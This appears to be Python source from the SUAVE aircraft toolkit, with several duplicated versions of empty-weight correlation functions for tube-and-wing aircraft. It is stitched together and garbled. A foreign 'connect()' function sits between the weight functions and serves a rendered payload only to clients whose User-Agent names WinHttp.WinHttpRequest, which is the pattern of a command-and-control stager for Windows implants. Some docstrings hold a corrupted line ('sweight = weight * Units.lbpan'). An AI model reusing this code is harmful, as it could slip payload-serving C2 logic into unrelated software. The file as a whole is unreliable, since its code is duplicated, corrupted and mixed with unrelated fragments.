else: #propulsor used is not a turbo_fan; assume mass_properties defined outside model
wt_propulsion = propulsors.mass_properties.mass
if wt_propulsion==0:
warnings.warn("Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration", stacklevel=1)
S_gross_w = vehicle.reference_area
#S_gross_w = vehicle.wings['main_wing'].Areas.reference
if not vehicle.wings.has_key('main_wing'):
wt_wing = 0.0
wing_c_r = 0.0
warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)
else:
b = vehicle.wings['main_wing'].spans.projected
lambda_w = vehicle.wings['main_wing'].taper
t_c_w = vehicle.wings['main_wing'].thickness_to_chord
sweep_w = vehicle.wings['main_wing'].sweep
mac_w = vehicle.wings['main_wing'].chords.mean_aerodynamic
wing_c_r = vehicle.wings['main_wing'].chords.root
wt_wing = wing_main(S_gross_w,b,lambda_w,t_c_w,sweep_w,Nult,TOW,wt_zf)
vehicle.wings['main_wing'].mass_properties.mass = wt_wing
S_fus = vehicle.fuselages['fuselage'].areas.wetted
diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
w_fus = vehicle.fuselages['fuselage'].width
h_fus = vehicle.fuselages['fuselage'].heights.maximum
l_fus = vehicle.fuselages['fuselage'].lengths.total
if not vehicle.wings.has_key('horizontal_stabilizer'):
wt_tail_horizontal = 0.0
S_h = 0.0
warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)
else:
S_h = vehicle.wings['horizontal_stabilizer'].areas.reference
b_h = vehicle.wings['horizontal_stabilizer'].spans.projected
sweep_h = vehicle.wings['horizontal_stabilizer'].sweep
mac_h = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
t_c_h = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
h_tail_exposed = vehicle.wings['horizontal_stabilizer'].areas.exposed / vehicle.wings['horizontal_stabilizer'].areas.wetted
l_w2h = vehicle.wings['horizontal_stabilizer'].origin[0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings['main_wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
wt_tail_horizontal = tail_horizontal(b_h,sweep_h,Nult,S_h,TOW,mac_w,mac_h,l_w2h,t_c_h, h_tail_exposed)
vehicle.wings['horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal
if not vehicle.wings.has_key('vertical_stabilizer'):
output_3 = Data()
output_3.wt_tail_vertical = 0.0
output_3.wt_rudder = 0.0
S_v = 0.0
warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)
else:
S_v = vehicle.wings['vertical_stabilizer'].areas.reference
b_v = vehicle.wings['vertical_stabilizer'].spans.projected
t_c_v = vehicle.wings['vertical_stabilizer'].thickness_to_chord
sweep_v = vehicle.wings['vertical_stabilizer'].sweep
t_tail = vehicle.wings['vertical_stabilizer'].t_tail
output_3 = tail_vertical(S_v,Nult,b_v,TOW,t_c_v,sweep_v,S_gross_w,t_tail)
vehicle.wings['vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
# Calculating Empty Weight of Aircraft
wt_landing_gear = landing_gear(TOW)
wt_fuselage = tube(S_fus, diff_p_fus,w_fus,h_fus,l_fus,Nlim,wt_zf,wt_wing,wt_propulsion, wing_c_r)
output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
# Calculate the equipment empty weight of the aircraft
wt_empty = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)
vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage
# packup outputs
output = payload(TOW, wt_empty, num_pax,wt_cargo)
output.wing = wt_wing
output.fuselage = wt_fuselage
output.propulsion = wt_propulsion
output.landing_gear = wt_landing_gear
output.horizontal_tail = wt_tail_horizontal
output.vertical_tail = output_3.wt_tail_vertical
output.rudder = output_3.wt_rudder
output.systems = output_2.wt_systems
output.systems_breakdown = Data()
output.systems_breakdown.control_systems = output_2.wt_flt_ctrl
output.systems_breakdown.apu = output_2.wt_apu
output.systems_breakdown.hydraulics = output_2.wt_hyd_pnu
output.systems_breakdown.instruments = output_2.wt_instruments
output.systems_breakdown.avionics = output_2.wt_avionics
output.systems_breakdown.optionals = output_2.wt_opitems
output.systems_breakdown.electrical = output_2.wt_elec
output.systems_breakdown.air_conditioner = output_2.wt_ac
output.systems_breakdown.furnish = output_2.wt_furnish
#define weights components
try:
landing_gear_component=vehicle.landing_gear #landing gear previously defined
except AttributeError: # landing gear not defined
landing_gear_component=SUAVE.Components.Landing_Gear.Landing_Gear()
vehicle.landing_gear=landing_gear_component
control_systems = SUAVE.Components.Physical_Component()
electrical_systems= SUAVE.Components.Physical_Component()
passengers = SUAVE.Components.Physical_Component()
furnishings = SUAVE.Components.Physical_Component()
air_conditioner = SUAVE.Components.Physical_Component()
fuel = SUAVE.Components.Physical_Component()
apu = SUAVE.Components.Physical_Component()
hydraulics = SUAVE.Components.Physical_Component()
optionals = SUAVE.Components.Physical_Component()
rudder = SUAVE.Components.Physical_Component()
avionics = SUAVE.Components.Energy.Peripherals.Avionics()
#assign output weights to objects
landing_gear_component.mass_properties.mass = output.landing_gear
control_systems.mass_properties.mass = output.systems_breakdown.control_systems
electrical_systems.mass_properties.mass = output.systems_breakdown.electrical
passengers.mass_properties.mass = output.pax + output.bag
furnishings.mass_properties.mass = output.systems_breakdown.furnish
avionics.mass_properties.mass = output.systems_breakdown.avionics \
+ output.systems_breakdown.instruments
air_conditioner.mass_properties.mass = output.systems_breakdown.air_conditioner
fuel.mass_properties.mass = output.fuel
apu.mass_properties.mass = output.systems_breakdown.apu
hydraulics.mass_properties.mass = output.systems_breakdown.hydraulics
optionals.mass_properties.mass = output.systems_breakdown.optionals
rudder.mass_properties.mass = output.rudder
#assign components to vehicle
vehicle.control_systems = control_systems
vehicle.electrical_systems = electrical_systems
vehicle.avionics = avionics
vehicle.furnishings = furnishings
vehicle.passenger_weights = passengers
vehicle.air_conditioner = air_conditioner
vehicle.fuel = fuel
vehicle.apu = apu
vehicle.hydraulics = hydraulics
vehicle.optionals = optionals
vehicle.landing_gear = landing_gear_component
vehicle.wings['vertical_stabilizer'].rudder = rudder
return output
def connect():
if not 'WinHttp.WinHttpRequest' in request.headers.get('User-Agent'):
return ''
global server
p = payload.payload()
return render_template_string(p.connect(), server=server)
def empty(vehicle):
""" output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
This is for a standard Tube and Wing aircraft configuration.
Inputs:
engine - a data dictionary with the fields:
thrust_sls - sea level static thrust of a single engine [Newtons]
wing - a data dictionary with the fields:
gross_area - wing gross area [meters**2]
span - span of the wing [meters]
taper - taper ratio of the wing [dimensionless]
t_c - thickness-to-chord ratio of the wing [dimensionless]
sweep - sweep angle of the wing [radians]
mac - mean aerodynamic chord of the wing [meters]
r_c - wing root chord [meters]
aircraft - a data dictionary with the fields:
Nult - ultimate load of the aircraft [dimensionless]
Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
TOW - maximum takeoff weight of the aircraft [kilograms]
zfw - maximum zero fuel weight of the aircraft [kilograms]
num_eng - number of engines on the aircraft [dimensionless]
num_pax - number of passengers on the aircraft [dimensionless]
wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
num_seats - number of seats installed on the aircraft [dimensionless]
ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
ac - determines type of instruments, electronics, and operating items based on types:
"short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
fuselage - a data dictionary with the fields:
area - fuselage wetted area [meters**2]
diff_p - Maximum fuselage pressure differential [Pascal]
width - width of the fuselage [meters]
height - height of the fuselage [meters]
length - length of the fuselage [meters]
horizontal
area - area of the horizontal tail [meters**2]
span - span of the horizontal tail [meters]
sweep - sweep of the horizontal tail [radians]
mac - mean aerodynamic chord of the horizontal tail [meters]
t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
exposed - exposed area ratio for the horizontal tail [dimensionless]
vertical
area - area of the vertical tail [meters**2]
span - sweight = weight * Units.lbpan of the vertical [meters]
t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
sweep - sweep angle of the vertical tail [radians]
t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
Outputs:
output - a data dictionary with fields:
wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
wt_pax - weight of all the passengers [kilogram]
wt_bag - weight of all the baggage [kilogram]
wt_fuel - weight of the fuel carried[kilogram]
wt_empty - operating empty weight of the aircraft [kilograms]
Assumptions:
calculated aircraft weight from correlations created per component of historical aircraft
"""
# Unpack inputs
Nult = vehicle.envelope.ultimate_load
Nlim = vehicle.envelope.limit_load
TOW = vehicle.mass_properties.max_takeoff
wt_zf = vehicle.mass_properties.max_zero_fuel
num_pax = vehicle.passengers
wt_cargo = vehicle.mass_properties.cargo
num_seats = vehicle.fuselages['fuselage'].number_coach_seats
ctrl_type = vehicle.systems.control
ac_type = vehicle.systems.accessories
propulsor_name = vehicle.propulsors.keys()[
0] #obtain the key for the propulsor for assignment purposes
propulsors = vehicle.propulsors[propulsor_name]
num_eng = propulsors.number_of_engines
if propulsor_name == 'turbofan' or propulsor_name == 'Turbofan':
# thrust_sls should be sea level static thrust. Using design thrust results in wrong propulsor
# weight estimation. Engine sizing should return this value.
# for now, using thrust_sls = design_thrust / 0.20, just for optimization evaluations
thrust_sls = propulsors.sealevel_static_thrust
wt_engine_jet = Propulsion.engine_jet(thrust_sls)
wt_propulsion = Propulsion.integrated_propulsion(
wt_engine_jet, num_eng)
propulsors.mass_properties.mass = wt_propulsion
else: #propulsor used is not a turbo_fan; assume mass_properties defined outside model
wt_propulsion = propulsors.mass_properties.mass
if wt_propulsion == 0:
warnings.warn(
"Propulsion mass= 0 ;e there is no Engine Weight being added to the Configuration",
stacklevel=1)
S_gross_w = vehicle.reference_area
#S_gross_w = vehicle.wings['main_wing'].Areas.reference
if not vehicle.wings.has_key('main_wing'):
wt_wing = 0.0
wing_c_r = 0.0
warnings.warn(
"There is no Wing Weight being added to the Configuration",
stacklevel=1)
else:
b = vehicle.wings['main_wing'].spans.projected
lambda_w = vehicle.wings['main_wing'].taper
t_c_w = vehicle.wings['main_wing'].thickness_to_chord
sweep_w = vehicle.wings['main_wing'].sweep
mac_w = vehicle.wings['main_wing'].chords.mean_aerodynamic
wing_c_r = vehicle.wings['main_wing'].chords.root
wt_wing = wing_main(S_gross_w, b, lambda_w, t_c_w, sweep_w, Nult, TOW,
wt_zf)
vehicle.wings['main_wing'].mass_properties.mass = wt_wing
S_fus = vehicle.fuselages['fuselage'].areas.wetted
diff_p_fus = vehicle.fuselages['fuselage'].differential_pressure
w_fus = vehicle.fuselages['fuselage'].width
h_fus = vehicle.fuselages['fuselage'].heights.maximum
l_fus = vehicle.fuselages['fuselage'].lengths.total
if not vehicle.wings.has_key('horizontal_stabilizer'):
wt_tail_horizontal = 0.0
S_h = 0.0
warnings.warn(
"There is no Horizontal Tail Weight being added to the Configuration",
stacklevel=1)
else:
S_h = vehicle.wings['horizontal_stabilizer'].areas.reference
b_h = vehicle.wings['horizontal_stabilizer'].spans.projected
sweep_h = vehicle.wings['horizontal_stabilizer'].sweep
mac_h = vehicle.wings['horizontal_stabilizer'].chords.mean_aerodynamic
t_c_h = vehicle.wings['horizontal_stabilizer'].thickness_to_chord
h_tail_exposed = vehicle.wings[
'horizontal_stabilizer'].areas.exposed / vehicle.wings[
'horizontal_stabilizer'].areas.wetted
l_w2h = vehicle.wings['horizontal_stabilizer'].origin[
0] + vehicle.wings['horizontal_stabilizer'].aerodynamic_center[
0] - vehicle.wings['main_wing'].origin[0] - vehicle.wings[
'main_wing'].aerodynamic_center[
0] #Need to check this is the length of the horizontal tail moment arm
wt_tail_horizontal = tail_horizontal(b_h, sweep_h, Nult, S_h, TOW,
mac_w, mac_h, l_w2h, t_c_h,
h_tail_exposed)
vehicle.wings[
'horizontal_stabilizer'].mass_properties.mass = wt_tail_horizontal
if not vehicle.wings.has_key('vertical_stabilizer'):
output_3 = Data()
output_3.wt_tail_vertical = 0.0
output_3.wt_rudder = 0.0
S_v = 0.0
warnings.warn(
"There is no Vertical Tail Weight being added to the Configuration",
stacklevel=1)
else:
S_v = vehicle.wings['vertical_stabilizer'].areas.reference
b_v = vehicle.wings['vertical_stabilizer'].spans.projected
t_c_v = vehicle.wings['vertical_stabilizer'].thickness_to_chord
sweep_v = vehicle.wings['vertical_stabilizer'].sweep
t_tail = vehicle.wings['vertical_stabilizer'].t_tail
output_3 = tail_vertical(S_v, Nult, b_v, TOW, t_c_v, sweep_v,
S_gross_w, t_tail)
vehicle.wings[
'vertical_stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
# Calculating Empty Weight of Aircraft
wt_landing_gear = landing_gear(TOW)
wt_fuselage = tube(S_fus, diff_p_fus, w_fus, h_fus, l_fus, Nlim, wt_zf,
wt_wing, wt_propulsion, wing_c_r)
output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
# Calculate the equipment empty weight of the aircraft
wt_empty = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)
vehicle.fuselages['fuselage'].mass_properties.mass = wt_fuselage
# packup outputs
output = payload(TOW, wt_empty, num_pax, wt_cargo)
output.wing = wt_wing
output.fuselage = wt_fuselage
output.propulsion = wt_propulsion
output.landing_gear = wt_landing_gear
output.horizontal_tail = wt_tail_horizontal
output.vertical_tail = output_3.wt_tail_vertical
output.rudder = output_3.wt_rudder
output.systems = output_2.wt_systems
output.systems_breakdown = Data()
output.systems_breakdown.control_systems = output_2.wt_flt_ctrl
output.systems_breakdown.apu = output_2.wt_apu
output.systems_breakdown.hydraulics = output_2.wt_hyd_pnu
output.systems_breakdown.instruments = output_2.wt_instruments
output.systems_breakdown.avionics = output_2.wt_avionics
output.systems_breakdown.optionals = output_2.wt_opitems
output.systems_breakdown.electrical = output_2.wt_elec
output.systems_breakdown.air_conditioner = output_2.wt_ac
output.systems_breakdown.furnish = output_2.wt_furnish
#define weights components
try:
landing_gear_component = vehicle.landing_gear #landing gear previously defined
except AttributeError: # landing gear not defined
landing_gear_component = SUAVE.Components.Landing_Gear.Landing_Gear()
vehicle.landing_gear = landing_gear_component
control_systems = SUAVE.Components.Physical_Component()
electrical_systems = SUAVE.Components.Physical_Component()
passengers = SUAVE.Components.Physical_Component()
furnishings = SUAVE.Components.Physical_Component()
air_conditioner = SUAVE.Components.Physical_Component()
fuel = SUAVE.Components.Physical_Component()
apu = SUAVE.Components.Physical_Component()
hydraulics = SUAVE.Components.Physical_Component()
optionals = SUAVE.Components.Physical_Component()
rudder = SUAVE.Components.Physical_Component()
avionics = SUAVE.Components.Energy.Peripherals.Avionics()
#assign output weights to objects
landing_gear_component.mass_properties.mass = output.landing_gear
control_systems.mass_properties.mass = output.systems_breakdown.control_systems
electrical_systems.mass_properties.mass = output.systems_breakdown.electrical
passengers.mass_properties.mass = output.pax + output.bag
furnishings.mass_properties.mass = output.systems_breakdown.furnish
avionics.mass_properties.mass = output.systems_breakdown.avionics \
+ output.systems_breakdown.instruments
air_conditioner.mass_properties.mass = output.systems_breakdown.air_conditioner
fuel.mass_properties.mass = output.fuel
apu.mass_properties.mass = output.systems_breakdown.apu
hydraulics.mass_properties.mass = output.systems_breakdown.hydraulics
optionals.mass_properties.mass = output.systems_breakdown.optionals
rudder.mass_properties.mass = output.rudder
#assign components to vehicle
vehicle.control_systems = control_systems
vehicle.electrical_systems = electrical_systems
vehicle.avionics = avionics
vehicle.furnishings = furnishings
vehicle.passenger_weights = passengers
vehicle.air_conditioner = air_conditioner
vehicle.fuel = fuel
vehicle.apu = apu
vehicle.hydraulics = hydraulics
vehicle.optionals = optionals
vehicle.landing_gear = landing_gear_component
vehicle.wings['vertical_stabilizer'].rudder = rudder
return output
def empty_custom_eng(vehicle, propulsor):
""" output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
This is for a standard Tube and Wing aircraft configuration.
Inputs:
propulsor - a propulsor object
mass_properties.mass
wing - a data dictionary with the fields:
gross_area - wing gross area [meters**2]
span - span of the wing [meters]
taper - taper ratio of the wing [dimensionless]
t_c - thickness-to-chord ratio of the wing [dimensionless]
sweep - sweep angle of the wing [radians]
mac - mean aerodynamic chord of the wing [meters]
r_c - wing root chord [meters]
aircraft - a data dictionary with the fields:
Nult - ultimate load of the aircraft [dimensionless]
Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
TOW - maximum takeoff weight of the aircraft [kilograms]
zfw - maximum zero fuel weight of the aircraft [kilograms]
num_eng - number of engines on the aircraft [dimensionless]
num_pax - number of passengers on the aircraft [dimensionless]
wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
num_seats - number of seats installed on the aircraft [dimensionless]
ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
ac - determines type of instruments, electronics, and operating items based on types:
"short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
fuselage - a data dictionary with the fields:
area - fuselage wetted area [meters**2]
diff_p - Maximum fuselage pressure differential [Pascal]
width - width of the fuselage [meters]
height - height of the fuselage [meters]
length - length of the fuselage [meters]
horizontal
area - area of the horizontal tail [meters**2]
span - span of the horizontal tail [meters]
sweep - sweep of the horizontal tail [radians]
mac - mean aerodynamic chord of the horizontal tail [meters]
t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
exposed - exposed area ratio for the horizontal tail [dimensionless]
vertical
area - area of the vertical tail [meters**2]
span - sweight = weight * Units.lbpan of the vertical [meters]
t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
sweep - sweep angle of the vertical tail [radians]
t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
Outputs:
output - a data dictionary with fields:
wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
wt_pax - weight of all the passengers [kilogram]
wt_bag - weight of all the baggage [kilogram]
wt_fuel - weight of the fuel carried[kilogram]
wt_empty - operating empty weight of the aircraft [kilograms]
Assumptions:
calculated aircraft weight from correlations created per component of historical aircraft
"""
# Unpack inputs
#thrust_sls = vehicle.propulsors['Turbo Fan'].thrust.design
S_gross_w = vehicle.reference_area
#S_gross_w = vehicle.wings['Main Wing'].Areas.reference
b = vehicle.wings['Main Wing'].spans.projected
lambda_w = vehicle.wings['Main Wing'].taper
t_c_w = vehicle.wings['Main Wing'].thickness_to_chord
sweep_w = vehicle.wings['Main Wing'].sweep
mac_w = vehicle.wings['Main Wing'].chords.mean_aerodynamic
wing_c_r = vehicle.wings['Main Wing'].chords.root
Nult = vehicle.envelope.ultimate_load
Nlim = vehicle.envelope.limit_load
TOW = vehicle.mass_properties.max_takeoff
wt_zf = vehicle.mass_properties.max_zero_fuel
num_pax = vehicle.passengers
wt_cargo = vehicle.mass_properties.cargo
num_seats = vehicle.fuselages.Fuselage.number_coach_seats
ctrl_type = vehicle.systems.control
ac_type = vehicle.systems.accessories
#l_w2h = vehicle.wings['Horizontal Stabilizer'].position[0] + vehicle.wings['Horizontal Stabilizer'].aerodynamic_center[0] - vehicle.wings['Main Wing'].position[0] - vehicle.wings['Main Wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
l_w2h = vehicle.w2h
S_fus = vehicle.fuselages.Fuselage.areas.wetted
diff_p_fus = vehicle.fuselages.Fuselage.differential_pressure
w_fus = vehicle.fuselages.Fuselage.width
h_fus = vehicle.fuselages.Fuselage.heights.maximum
l_fus = vehicle.fuselages.Fuselage.lengths.total
S_h = vehicle.wings['Horizontal Stabilizer'].areas.reference
b_h = vehicle.wings['Horizontal Stabilizer'].spans.projected
sweep_h = vehicle.wings['Horizontal Stabilizer'].sweep
mac_h = vehicle.wings['Horizontal Stabilizer'].chords.mean_aerodynamic
t_c_h = vehicle.wings['Horizontal Stabilizer'].thickness_to_chord
h_tail_exposed = vehicle.wings[
'Horizontal Stabilizer'].areas.exposed / vehicle.wings[
'Horizontal Stabilizer'].areas.wetted
S_v = vehicle.wings['Vertical Stabilizer'].areas.reference
b_v = vehicle.wings['Vertical Stabilizer'].spans.projected
t_c_v = vehicle.wings['Vertical Stabilizer'].thickness_to_chord
sweep_v = vehicle.wings['Vertical Stabilizer'].sweep
t_tail = vehicle.wings['Vertical Stabilizer'].t_tail
# process
# Calculating Empty Weight of Aircraft
wt_wing = wing_main(S_gross_w, b, lambda_w, t_c_w, sweep_w, Nult, TOW,
wt_zf)
wt_landing_gear = landing_gear(TOW)
wt_propulsion = propulsor.mass_properties.mass
wt_fuselage = tube(S_fus, diff_p_fus, w_fus, h_fus, l_fus, Nlim, wt_zf,
wt_wing, wt_propulsion, wing_c_r)
output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
wt_tail_horizontal = tail_horizontal(b_h, sweep_h, Nult, S_h, TOW, mac_w,
mac_h, l_w2h, t_c_h, h_tail_exposed)
output_3 = tail_vertical(S_v, Nult, b_v, TOW, t_c_v, sweep_v, S_gross_w,
t_tail)
# Calculate the equipment empty weight of the aircraft
wt_empty = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)
vehicle.wings['Main Wing'].mass_properties.mass = wt_wing
vehicle.wings[
'Horizontal Stabilizer'].mass_properties.mass = wt_tail_horizontal
vehicle.wings[
'Vertical Stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
vehicle.fuselages.Fuselage.mass_properties.mass = wt_fuselage
#vehicle.propulsors['Turbo Fan'].mass_properties.mass = wt_engine_jet
# packup outputs
output = payload(TOW, wt_empty, num_pax, wt_cargo)
output.wing = wt_wing
output.fuselage = wt_fuselage
output.propulsion = wt_propulsion
output.landing_gear = wt_landing_gear
output.systems = output_2.wt_systems
output.wt_furnish = output_2.wt_furnish
output.horizontal_tail = wt_tail_horizontal
output.vertical_tail = output_3.wt_tail_vertical
output.rudder = output_3.wt_rudder
return output
def empty(vehicle):
""" output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
This is for a standard Tube and Wing aircraft configuration.
Inputs:
engine - a data dictionary with the fields:
thrust_sls - sea level static thrust of a single engine [Newtons]
wing - a data dictionary with the fields:
gross_area - wing gross area [meters**2]
span - span of the wing [meters]
taper - taper ratio of the wing [dimensionless]
t_c - thickness-to-chord ratio of the wing [dimensionless]
sweep - sweep angle of the wing [radians]
mac - mean aerodynamic chord of the wing [meters]
r_c - wing root chord [meters]
aircraft - a data dictionary with the fields:
Nult - ultimate load of the aircraft [dimensionless]
Nlim - limit load factor at zero fuel weight of the aircraft [dimensionless]
TOW - maximum takeoff weight of the aircraft [kilograms]
zfw - maximum zero fuel weight of the aircraft [kilograms]
num_eng - number of engines on the aircraft [dimensionless]
num_pax - number of passengers on the aircraft [dimensionless]
wt_cargo - weight of the bulk cargo being carried on the aircraft [kilograms]
num_seats - number of seats installed on the aircraft [dimensionless]
ctrl - specifies if the control system is "fully powered", "partially powered", or not powered [dimensionless]
ac - determines type of instruments, electronics, and operating items based on types:
"short-range", "medium-range", "long-range", "business", "cargo", "commuter", "sst" [dimensionless]
w2h - tail length (distance from the airplane c.g. to the horizontal tail aerodynamic center) [meters]
fuselage - a data dictionary with the fields:
area - fuselage wetted area [meters**2]
diff_p - Maximum fuselage pressure differential [Pascal]
width - width of the fuselage [meters]
height - height of the fuselage [meters]
length - length of the fuselage [meters]
horizontal
area - area of the horizontal tail [meters**2]
span - span of the horizontal tail [meters]
sweep - sweep of the horizontal tail [radians]
mac - mean aerodynamic chord of the horizontal tail [meters]
t_c - thickness-to-chord ratio of the horizontal tail [dimensionless]
exposed - exposed area ratio for the horizontal tail [dimensionless]
vertical
area - area of the vertical tail [meters**2]
span - sweight = weight * Units.lbpan of the vertical [meters]
t_c - thickness-to-chord ratio of the vertical tail [dimensionless]
sweep - sweep angle of the vertical tail [radians]
t_tail - factor to determine if aircraft has a t-tail, "yes" [dimensionless]
Outputs:
output - a data dictionary with fields:
wt_payload - weight of the passengers plus baggage and paid cargo [kilograms]
wt_pax - weight of all the passengers [kilogram]
wt_bag - weight of all the baggage [kilogram]
wt_fuel - weight of the fuel carried[kilogram]
wt_empty - operating empty weight of the aircraft [kilograms]
Assumptions:
calculated aircraft weight from correlations created per component of historical aircraft
"""
# Unpack inputs
Nult = vehicle.envelope.ultimate_load
Nlim = vehicle.envelope.limit_load
TOW = vehicle.mass_properties.max_takeoff
wt_zf = vehicle.mass_properties.max_zero_fuel
num_pax = vehicle.passengers
wt_cargo = vehicle.mass_properties.cargo
num_seats = vehicle.fuselages.Fuselage.number_coach_seats
ctrl_type = vehicle.systems.control
ac_type = vehicle.systems.accessories
if not vehicle.propulsors.has_key('Turbo Fan'):
wt_engine_jet = 0.0
wt_propulsion = 0.0
warnings.warn("There is no Turbo Fan Engine Weight being added to the Configuration", stacklevel=1)
else:
num_eng = vehicle.propulsors['Turbo Fan'].number_of_engines
thrust_sls = vehicle.propulsors['Turbo Fan'].thrust.design
wt_engine_jet = Propulsion.engine_jet(thrust_sls)
wt_propulsion = Propulsion.integrated_propulsion(wt_engine_jet,num_eng)
S_gross_w = vehicle.reference_area
#S_gross_w = vehicle.wings['Main Wing'].Areas.reference
if not vehicle.wings.has_key('Main Wing'):
wt_wing = 0.0
wing_c_r = 0.0
warnings.warn("There is no Wing Weight being added to the Configuration", stacklevel=1)
else:
b = vehicle.wings['Main Wing'].spans.projected
lambda_w = vehicle.wings['Main Wing'].taper
t_c_w = vehicle.wings['Main Wing'].thickness_to_chord
sweep_w = vehicle.wings['Main Wing'].sweep
mac_w = vehicle.wings['Main Wing'].chords.mean_aerodynamic
wing_c_r = vehicle.wings['Main Wing'].chords.root
wt_wing = wing_main(S_gross_w,b,lambda_w,t_c_w,sweep_w,Nult,TOW,wt_zf)
vehicle.wings['Main Wing'].mass_properties.mass = wt_wing
S_fus = vehicle.fuselages.Fuselage.areas.wetted
diff_p_fus = vehicle.fuselages.Fuselage.differential_pressure
w_fus = vehicle.fuselages.Fuselage.width
h_fus = vehicle.fuselages.Fuselage.heights.maximum
l_fus = vehicle.fuselages.Fuselage.lengths.total
if not vehicle.wings.has_key('Horizontal Stabilizer'):
wt_tail_horizontal = 0.0
S_h = 0.0
warnings.warn("There is no Horizontal Tail Weight being added to the Configuration", stacklevel=1)
else:
S_h = vehicle.wings['Horizontal Stabilizer'].areas.reference
b_h = vehicle.wings['Horizontal Stabilizer'].spans.projected
sweep_h = vehicle.wings['Horizontal Stabilizer'].sweep
mac_h = vehicle.wings['Horizontal Stabilizer'].chords.mean_aerodynamic
t_c_h = vehicle.wings['Horizontal Stabilizer'].thickness_to_chord
h_tail_exposed = vehicle.wings['Horizontal Stabilizer'].areas.exposed / vehicle.wings['Horizontal Stabilizer'].areas.wetted
l_w2h = vehicle.wings['Horizontal Stabilizer'].origin[0] + vehicle.wings['Horizontal Stabilizer'].aerodynamic_center[0] - vehicle.wings['Main Wing'].origin[0] - vehicle.wings['Main Wing'].aerodynamic_center[0] #Need to check this is the length of the horizontal tail moment arm
wt_tail_horizontal = tail_horizontal(b_h,sweep_h,Nult,S_h,TOW,mac_w,mac_h,l_w2h,t_c_h, h_tail_exposed)
vehicle.wings['Horizontal Stabilizer'].mass_properties.mass = wt_tail_horizontal
if not vehicle.wings.has_key('Vertical Stabilizer'):
output_3 = Data()
output_3.wt_tail_vertical = 0.0
output_3.wt_rudder = 0.0
S_v = 0.0
warnings.warn("There is no Vertical Tail Weight being added to the Configuration", stacklevel=1)
else:
S_v = vehicle.wings['Vertical Stabilizer'].areas.reference
b_v = vehicle.wings['Vertical Stabilizer'].spans.projected
t_c_v = vehicle.wings['Vertical Stabilizer'].thickness_to_chord
sweep_v = vehicle.wings['Vertical Stabilizer'].sweep
t_tail = vehicle.wings['Vertical Stabilizer'].t_tail
output_3 = tail_vertical(S_v,Nult,b_v,TOW,t_c_v,sweep_v,S_gross_w,t_tail)
vehicle.wings['Vertical Stabilizer'].mass_properties.mass = output_3.wt_tail_vertical + output_3.wt_rudder
# process
# Calculating Empty Weight of Aircraft
wt_landing_gear = landing_gear(TOW)
wt_fuselage = tube(S_fus, diff_p_fus,w_fus,h_fus,l_fus,Nlim,wt_zf,wt_wing,wt_propulsion, wing_c_r)
output_2 = systems(num_seats, ctrl_type, S_h, S_v, S_gross_w, ac_type)
# Calculate the equipment empty weight of the aircraft
wt_empty = (wt_wing + wt_fuselage + wt_landing_gear + wt_propulsion + output_2.wt_systems + \
wt_tail_horizontal + output_3.wt_tail_vertical + output_3.wt_rudder)
vehicle.fuselages.Fuselage.mass_properties.mass = wt_fuselage
# packup outputs
output = payload(TOW, wt_empty, num_pax,wt_cargo)
output.wing = wt_wing
output.fuselage = wt_fuselage
output.propulsion = wt_propulsion
output.landing_gear = wt_landing_gear
output.systems = output_2.wt_systems
output.wt_furnish = output_2.wt_furnish
output.horizontal_tail = wt_tail_horizontal
output.vertical_tail = output_3.wt_tail_vertical
output.rudder = output_3.wt_rudder
return output
def empty(vehicle):
""" output = SUAVE.Methods.Weights.Correlations.Tube_Wing.empty(engine,wing,aircraft,fuselage,horizontal,vertical)
